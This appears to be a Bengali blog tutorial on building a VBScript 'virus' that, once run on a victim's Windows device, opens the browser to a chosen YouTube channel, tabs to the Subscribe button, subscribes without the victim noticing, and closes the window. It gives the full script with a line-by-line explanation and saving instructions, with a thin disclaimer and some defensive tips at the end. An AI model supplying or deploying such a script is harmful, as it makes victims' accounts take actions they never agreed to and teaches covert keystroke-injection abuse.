আজকের টিউটোরিয়ালে আমরা এমন একটা ভাইরাস বানাবো, যা ভিক্টিমের ডিভাইসে রান করলে ডিভাইসে থাকা ব্রাউজারটা খুলে গিয়ে আপনার সেট করা ইউটিউব চ্যানেলটা খুলে সেটাকে অটোমেটিক সাবস্ক্রাইব করে দেবে। এই সম্পূর্ণ কাজটা কিন্তু অটোমেটিক হবে, আপনাকে আলাদা করে কিছুই করতে হবে না। ভিক্টিম বুঝতেই পারবে না যে তার ডিভাইসে একটা টাস্ক পারফর্ম করা হয়েছে।
যদিও এটা পুরোপুরি কোন Virus নই, এটা একধরনের অটোমেশন স্ক্রীপ্ট যাকে VBScript ( Visual Basic Script) বলা হয়, যেটা তার স্ক্রীপ্ট অনুযায়ী কাজ করে থাকে।
আপনাদের সবাইকে অনুরোধ করবো এই স্ক্রিপ্টটা কেউ খারাপ কাজে ব্যবহার করবেন না। আর যদি ব্যবহার করতেও চান এর জন্য thesouvik .com ওয়েবসাইট কোনোভাবে দায়ী থাকবে না। চলুন এবার শিখে নিই কিভাবে আমরা ভাইরাসটা বানাবো।
ভাইরাসটা কিভাবে কাজটা করে তার একটা ডেমো :
কিভাবে ভাইরাসটা বানাবেন ?
ক) প্রথমে নোটপ্যাড বা টেক্সট এডিটর সফটওয়ারটা খুলে নিচের সম্পূর্ণ কোডটি কপি করে পেস্ট করুন।
Set pixelpy = Wscript.CreateObject("WScript.Shell")
pixelpy.SendKeys "^({ESC})r"
WScript.Sleep 1000
pixelpy.SendKeys "https://youtube.com/@pixelpy"
WScript.Sleep 1000
pixelpy.SendKeys "{ENTER}"
WScript.Sleep 3000
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{TAB}"
WScript.Sleep 500
pixelpy.SendKeys "{ENTER}"
WScript.Sleep 2000
pixelpy.SendKeys "^w"
এরপর @pixelpy লেখাটা পরিবর্তন করে আপনার ইউটিউব চ্যানেল-এর নাম অথবা হ্যান্ডেলটা লিখে দিন।
খ) এরপর ফাইলটাকে সেভ করুন .vbs এক্সটেনশন দিয়ে। মনে রাখবেন ফাইল এর নাম যাই সেট করুন না কেন শেষে .vbs এক্সটেনশন টা অবশ্যই যোগ করতে হবে, তবেই ফাইলটা ভাইরাস ফাইল হিসাবে কাজ করবে।
সহজ ভাষায় বললে, প্রথমে Ctrl + Esc + r – এই তিনটে key একসাথে প্রেস হবে এবং সার্চ অপশনটা খুলে যাবে। তারপর 1 সেকেন্ডের জন্য থেমে আপনার সেট করা ইউটিউব চ্যানেল এর লিংক বা আড্রেসটা টাইপ হবে। তারপর আবারও 1 সেকেন্ডের জন্য থেমে Enter key প্রেস হলে ইউটিউব চ্যানেলটা খুলে যাবে। এরপর 3 সেকেন্ডের জন্য থেমে 17 বার Tab key টা প্রেস হলে সাবস্ক্রাইব বটনটা টার্গেট হবে ও আবারও 500 মিলিসেকেন্ডের জন্য থেমে Enter key প্রেস হলে ইউটিউব চ্যানেলটা সাবস্ক্রাইব হয়ে যাবে। তারপর 2 সেকেন্ড পর Ctrl+ w key টা অটোমেটিক প্রেস হলে ব্রাউজারটা বন্ধ হয়ে যাবে।
স্ক্রীপ্টটার সম্পূর্ণ ব্যাখ্যা :
- Set pixelpy = Wscript.CreateObject(“WScript.Shell”) :
- এখানে pixelpy নামের একটা অবজেক্ট তৈরি করা হয়েছে।
- pixelpy.SendKeys “^({ESC})r” :
- pixelpy অবজেক্ট এর মাধ্যমে একটা keyStroke পাঠানো হয়েছে, যেটা হচ্ছে Ctrl + Esc + r – এই তিনটে key একসাথে প্রেস হলে Windows এর সার্চ অপশনটা অথবা Run অপশনটা খুলে যাবে।
- ^ এই চিহ্ন দ্বারা Ctrl key বোঝাই।
- pixelpy.SendKeys “https://youtube.com/@pixelpy” :
- pixelpy অবজেক্ট এর মাধ্যমে একটা keyStroke পাঠানো হয়েছে, যার ফলে অটোমেটিক সার্চ অপশনটা খুলে গিয়ে অ্যাড্রেসটা (https://youtube.com/@pixelpy) টাইপ হবে।
- pixelpy.SendKeys “{ENTER}” :
- pixelpy অবজেক্ট এর মাধ্যমে একটা keyStroke পাঠানো হয়েছে, যার ফলে Enter key প্রেস হবে এবং আপনার সেট করা ইউটিউব চ্যানেলটা খুলে যাবে।
- pixelpy.SendKeys “{TAB}” :
- pixelpy অবজেক্ট এর মাধ্যমে একটা keyStroke পাঠানো হয়েছে, যার ফলে অটোমেটিক Tab key প্রেস হবে।
- এখানে মোট 17 বার Tab key প্রেস করা হয়েছে, যার মাধ্যমে Subscribe বটনটা টার্গেট হবে এবং আবারও Enter key প্রেস হলে ইউটিউব চ্যানেলটা সাবস্ক্রাইব হয়ে যাবে।
- pixelpy.SendKeys “^w” :
- pixelpy অবজেক্ট এর মাধ্যমে একটা keyStroke পাঠানো হয়েছে, যার ফলে অটোমেটিক Ctrl + w key দুটো প্রেস হবে।
- Ctrl+ w key দুটো একসাথে প্রেস হলে ব্রাউজারটা অটোমেটিক বন্ধ হয়ে যাবে।
- WScript.Sleep 500 :
- Wscript.sleep লেখাটার মাধ্যমে একটা delay সেট করা হয়েছে, এখানে 500 লেখা রয়েছে – এর মানে 500 মিলিসেকেণ্ড, অর্থাৎ 1 সেকেন্ড এর অর্ধেক।
- সেকেন্ডকে 1000 দিয়ে গুণ করলে মিলিসেকেন্ড হয়, যেমন 1 সেকেন্ড = 1000 মিলিসেকেন্ড, 2 সেকেন্ড = 2000 মিলিসেকেন্ড ইত্যাদি।
উপসংহার :
কম্পিউটার ভাইরাস ও VBScript একটি গুরুত্বপূর্ণ বিষয়, যা সাইবার নিরাপত্তার সঙ্গে সরাসরি সম্পর্কিত। যদিও VBScript মূলত স্বয়ংক্রিয় কাজ সম্পাদনের জন্য তৈরি, কিছু হ্যাকার ও সাইবার অপরাধী এটি ব্যবহার করে ক্ষতিকর ভাইরাস তৈরি করে। তবে, সঠিক প্রতিরোধমূলক ব্যবস্থা গ্রহণ করলে VBScript-ভিত্তিক ভাইরাসের ক্ষতি থেকে সহজেই রক্ষা পাওয়া সম্ভব। আধুনিক অ্যান্টিভাইরাস সফটওয়্যার ব্যবহার, নিরাপদ ব্রাউজিং অভ্যাস ও সন্দেহজনক স্ক্রিপ্ট এড়িয়ে চলার মাধ্যমে সাইবার হুমকি প্রতিরোধ করা যেতে পারে। প্রযুক্তির সঠিক ব্যবহার এবং নিরাপত্তা সচেতনতা থাকলে এসব ঝুঁকি অনেকাংশে কমিয়ে আনা সম্ভব।
FAQ
হ্যাঁ, VBScript (Visual Basic Scripting Edition) ব্যবহার করে ক্ষতিকর স্ক্রিপ্ট তৈরি করা সম্ভব, যা কম্পিউটারে ভাইরাসের মতো আচরণ করতে পারে। বিশেষ করে, VBScript ব্যবহার করে অটোরান ভাইরাস, ম্যালওয়্যার বা ওয়ার্ম তৈরি করা যায়, যা ইমেইল বা নেটওয়ার্কের মাধ্যমে ছড়াতে পারে। তবে, এটি একটি বৈধ স্ক্রিপ্টিং ভাষা, যা মূলত উইন্ডোজ সিস্টেমে অটোমেটিক কাজ পরিচালনার জন্য ব্যবহৃত হয়।
এন্টিভাইরাস সফটওয়্যার আপডেট রাখা : Windows Defender বা Third Party শক্তিশালী অ্যান্টিভাইরাস সফটওয়্যার ব্যবহার করুন।
সন্দেহজনক ইমেইল ও সংযুক্তি এড়িয়ে চলুন : ইমেইলে থাকা কিংবা এমন ফাইল যার এক্সটেনশন .vbs বা .wsf – এইরকম ফাইল না খোলাই ভালো।
একটি বিখ্যাত VBScript ভাইরাস হলো “ILOVEYOU”, যা ২০০০ সালে বিশ্বব্যাপী ছড়িয়ে পড়ে। এটি ইমেইলের মাধ্যমে ছড়াত এবং একবার চালু হলে, এটি সংক্রামিত কম্পিউটারের ফাইল ও ডকুমেন্ট পরিবর্তন করত এবং নিজেকে অন্যদের ইমেইলে স্বয়ংক্রিয়ভাবে পাঠিয়ে দিত। এই ভাইরাস লক্ষ লক্ষ কম্পিউটারে প্রভাব ফেলেছিল এবং বিশাল ক্ষতি করেছিল।